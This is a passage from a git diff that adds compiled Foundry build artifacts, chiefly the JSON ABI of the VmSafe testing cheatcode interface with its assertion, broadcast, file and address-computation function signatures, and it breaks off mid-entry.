subcontext."},"functionSelector":"0956441b","implemented":false,"kind":"function","modifiers":[],"name":"stopExpectSafeMemory","nameLocation":"85061:20:13","parameters":{"id":15670,"nodeType":"ParameterList","parameters":[],"src":"85081:2:13"},"returnParameters":{"id":15671,"nodeType":"ParameterList","parameters":[],"src":"85092:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":15100,"name":"VmSafe","nameLocations":["71521:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":15098,"src":"71521:6:13"},"id":15101,"nodeType":"InheritanceSpecifier","src":"71521:6:13"}],"canonicalName":"Vm","contractDependencies":[],"contractKind":"interface","documentation":{"id":15099,"nodeType":"StructuredDocumentation","src":"71334:171:13","text":"The `Vm` interface does allow manipulation of the EVM state. These are all intended to be used\n in tests, but it is not recommended to use these cheats in scripts."},"fullyImplemented":false,"linearizedBaseContracts":[15673,15098],"name":"Vm","nameLocation":"71515:2:13","scope":15674,"usedErrors":[],"usedEvents":[]}],"license":"MIT OR Apache-2.0"},"id":13} \ No newline at end of file diff --git a/contracts/out/Vm.sol/VmSafe.json b/contracts/out/Vm.sol/VmSafe.json new file mode 100644 index 000000000..a8cf4b58f --- /dev/null +++ b/contracts/out/Vm.sol/VmSafe.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"accesses","inputs":[{"name":"target","type":"address","internalType":"address"}],"outputs":[{"name":"readSlots","type":"bytes32[]","internalType":"bytes32[]"},{"name":"writeSlots","type":"bytes32[]","internalType":"bytes32[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"addr","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"keyAddr","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbs","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbs","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbs","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbs","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbsDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbsDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbsDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbsDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRel","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRel","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRel","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRel","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRelDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRelDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRelDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRelDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes32[]","internalType":"bytes32[]"},{"name":"right","type":"bytes32[]","internalType":"bytes32[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"int256[]","internalType":"int256[]"},{"name":"right","type":"int256[]","internalType":"int256[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"address","internalType":"address"},{"name":"right","type":"address","internalType":"address"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"string","internalType":"string"},{"name":"right","type":"string","internalType":"string"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"address[]","internalType":"address[]"},{"name":"right","type":"address[]","internalType":"address[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"address[]","internalType":"address[]"},{"name":"right","type":"address[]","internalType":"address[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bool","internalType":"bool"},{"name":"right","type":"bool","internalType":"bool"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"address","internalType":"address"},{"name":"right","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"uint256[]","internalType":"uint256[]"},{"name":"right","type":"uint256[]","internalType":"uint256[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bool[]","internalType":"bool[]"},{"name":"right","type":"bool[]","internalType":"bool[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"int256[]","internalType":"int256[]"},{"name":"right","type":"int256[]","internalType":"int256[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes32","internalType":"bytes32"},{"name":"right","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"uint256[]","internalType":"uint256[]"},{"name":"right","type":"uint256[]","internalType":"uint256[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes","internalType":"bytes"},{"name":"right","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes32","internalType":"bytes32"},{"name":"right","type":"bytes32","internalType":"bytes32"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"string[]","internalType":"string[]"},{"name":"right","type":"string[]","internalType":"string[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes32[]","internalType":"bytes32[]"},{"name":"right","type":"bytes32[]","internalType":"bytes32[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes","internalType":"bytes"},{"name":"right","type":"bytes","internalType":"bytes"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bool[]","internalType":"bool[]"},{"name":"right","type":"bool[]","internalType":"bool[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes[]","internalType":"bytes[]"},{"name":"right","type":"bytes[]","internalType":"bytes[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"string[]","internalType":"string[]"},{"name":"right","type":"string[]","internalType":"string[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"string","internalType":"string"},{"name":"right","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes[]","internalType":"bytes[]"},{"name":"right","type":"bytes[]","internalType":"bytes[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bool","internalType":"bool"},{"name":"right","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEqDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEqDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEqDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEqDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertFalse","inputs":[{"name":"condition","type":"bool","internalType":"bool"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertFalse","inputs":[{"name":"condition","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGe","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGe","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGe","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGe","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGeDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGeDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGeDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGeDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGt","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGt","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGt","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGt","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGtDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGtDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGtDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGtDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLe","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLe","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLe","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLe","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLeDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLeDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLeDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLeDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLt","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLt","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLt","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLt","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLtDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLtDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLtDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLtDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes32[]","internalType":"bytes32[]"},{"name":"right","type":"bytes32[]","internalType":"bytes32[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"int256[]","internalType":"int256[]"},{"name":"right","type":"int256[]","internalType":"int256[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bool","internalType":"bool"},{"name":"right","type":"bool","internalType":"bool"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes[]","internalType":"bytes[]"},{"name":"right","type":"bytes[]","internalType":"bytes[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bool","internalType":"bool"},{"name":"right","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bool[]","internalType":"bool[]"},{"name":"right","type":"bool[]","internalType":"bool[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes","internalType":"bytes"},{"name":"right","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"address[]","internalType":"address[]"},{"name":"right","type":"address[]","internalType":"address[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"uint256[]","internalType":"uint256[]"},{"name":"right","type":"uint256[]","internalType":"uint256[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bool[]","internalType":"bool[]"},{"name":"right","type":"bool[]","internalType":"bool[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"string","internalType":"string"},{"name":"right","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"address[]","internalType":"address[]"},{"name":"right","type":"address[]","internalType":"address[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"string","internalType":"string"},{"name":"right","type":"string","internalType":"string"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"address","internalType":"address"},{"name":"right","type":"address","internalType":"address"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes32","internalType":"bytes32"},{"name":"right","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes","internalType":"bytes"},{"name":"right","type":"bytes","internalType":"bytes"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"uint256[]","internalType":"uint256[]"},{"name":"right","type":"uint256[]","internalType":"uint256[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"address","internalType":"address"},{"name":"right","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes32","internalType":"bytes32"},{"name":"right","type":"bytes32","internalType":"bytes32"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"string[]","internalType":"string[]"},{"name":"right","type":"string[]","internalType":"string[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes32[]","internalType":"bytes32[]"},{"name":"right","type":"bytes32[]","internalType":"bytes32[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"string[]","internalType":"string[]"},{"name":"right","type":"string[]","internalType":"string[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"int256[]","internalType":"int256[]"},{"name":"right","type":"int256[]","internalType":"int256[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes[]","internalType":"bytes[]"},{"name":"right","type":"bytes[]","internalType":"bytes[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEqDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEqDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEqDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEqDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertTrue","inputs":[{"name":"condition","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertTrue","inputs":[{"name":"condition","type":"bool","internalType":"bool"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assume","inputs":[{"name":"condition","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"breakpoint","inputs":[{"name":"char","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"breakpoint","inputs":[{"name":"char","type":"string","internalType":"string"},{"name":"value","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"broadcast","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"broadcast","inputs":[{"name":"signer","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"broadcast","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"closeFile","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"computeCreate2Address","inputs":[{"name":"salt","type":"bytes32","internalType":"bytes32"},{"name":"initCodeHash","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"computeCreate2Address","inputs":[{"name":"salt","type":"bytes32","internalType":"bytes32"},{"name":"initCodeHash","type":"bytes32","internalType":"bytes32"},{"name":"deployer","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"computeCreateAddress","inputs":[{"name":"deployer","type":"address","internalType":"address"},{"name":"nonce","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"copyFile","inputs":[{"name":"from","type":"string","internalType":"string"},{"name":"to","type":"string","internalType":"string"}],"outputs":[{"name":"copied","type":"uint64","internalType":"uint64"}],"stateMutability":"nonpayable"},{"type":"function","name":"createDir","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"recursive","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"createWallet","inputs":[{"name":"walletLabel","type":"string","internalType":"string"}],"outputs":[{"name":"wallet","type":"tuple","internalType":"struct 